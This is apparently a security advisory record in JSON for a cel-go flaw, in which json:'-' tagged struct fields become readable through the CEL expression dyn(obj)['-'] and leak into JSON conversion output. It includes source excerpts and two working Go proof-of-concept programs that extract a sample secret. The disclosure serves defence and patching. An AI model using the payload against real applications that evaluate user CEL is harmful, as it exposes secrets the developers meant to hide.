{"id":"GHSA-gcjh-h69q-9w9g","aliases":["GO-2026-6094"],"url":"https://o3.security/vulnerability/GHSA-gcjh-h69q-9w9g","summary":"cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag","details":"The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n    return func(field reflect.StructField) string {\n        tag, found := field.Tag.Lookup(structTagToParse)\n        if found {\n            splits := strings.Split(tag, \",\")\n            if len(splits) > 0 {\n                // We make the assumption that the leftmost entry in the tag is the name.\n                // This seems to be true for most tags that have the concept of a name/key, such as:\n                // https://pkg.go.dev/encoding/xml#Marshal\n                // https://pkg.go.dev/encoding/json#Marshal\n                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n                name := splits[0]\n                return name\n            }\n        }\n\n        return field.Name\n    }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n    return func(ntp *nativeTypeOptions) error {\n        ntp.fieldNameHandler = fieldNameByTag(tag)\n        return nil\n    }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n    fieldNames := make(map[string]struct{})\n\n    for idx := 0; idx < refType.NumField(); idx++ {\n        field := refType.Field(idx)\n        fieldName := toFieldName(fieldNameHandler, field)\n\n        if _, found := fieldNames[fieldName]; found {\n            return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n        } else {\n            fieldNames[fieldName] = struct{}{}\n        }\n    }\n}\n```\n\nOnce accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n    if t, found := tp.nativeTypes[typeName]; found {\n        fieldCount := t.refType.NumField()\n        fields := make([]string, fieldCount)\n        for i := 0; i < fieldCount; i++ {\n            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n        }\n        return fields, true\n    }\n    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n        return celTypeFields, true\n    }\n    return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n    t, found := tp.nativeTypes[typeName]\n    if !found {\n        return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n    }\n    refField, isDefined := t.hasField(fieldName)\n    if !found || !isDefined {\n        return nil, false\n    }\n\n    return &types.FieldType{\n        IsSet: func(obj any) bool {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return !refField.IsZero()\n        },\n        GetFrom: func(obj any) (any, error) {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return getFieldValue(refField), nil\n        },\n    }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n    refVal := reflect.Indirect(o.refValue)\n    refType := refVal.Type()\n    fields := make(map[string]*structpb.Value, refVal.NumField())\n    for i := 0; i < refVal.NumField(); i++ {\n        fieldType := refType.Field(i)\n        fieldValue := refVal.Field(i)\n        if !fieldValue.IsValid() || fieldValue.IsZero() {\n            continue\n        }\n        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n        fieldCELVal := o.NativeToValue(fieldValue.Interface())\n        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n        if err != nil {\n            return nil, err\n        }\n        fields[fieldName] = fieldJSONVal.(*structpb.Value)\n    }\n    return &structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n    nt, err := newNativeType(fieldNameHandler, rawType)\n    if err != nil {\n        return nil, err\n    }\n    result := []*nativeType{nt}\n\n    var iterateStructMembers func(reflect.Type)\n    iterateStructMembers = func(t reflect.Type) {\n        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n            iterateStructMembers(t.Elem())\n            return\n        }\n        if t.Kind() != reflect.Struct {\n            return\n        }\n\n        nt, ntErr := newNativeType(fieldNameHandler, t)\n        if ntErr != nil {\n            err = ntErr\n            return\n        }\n        result = append(result, nt)\n\n        for idx := 0; idx < t.NumField(); idx++ {\n            iterateStructMembers(t.Field(idx).Type)\n        }\n    }\n    iterateStructMembers(rawType)\n\n    return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n    )\n    ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n    fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible.  \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n\n    structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n    )\n\n    ast, _ := env.Compile(`req.auth`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n\n    jsonStructType := reflect.TypeOf(&structpb.Struct{})\n    raw, _ := out.ConvertToNative(jsonStructType)\n\n    st := raw.(*structpb.Struct)\n    b, _ := json.MarshalIndent(st.AsMap(), \"\", \"  \")\n    fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n    fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n    if v, ok := st.Fields[\"-\"]; ok {\n        fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n    }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n  \"-\": \"sk-live-s3cr3t\",\n  \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns “skip this field”, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.","published":"2026-07-24T16:48:56Z","modified":"2026-08-18T17:24:18.137764500Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/google/cel-go","fixedVersion":"0.29.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"},{"type":"PACKAGE","url":"https://github.com/cel-expr/cel-go"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T17:24:18.137764500Z"}}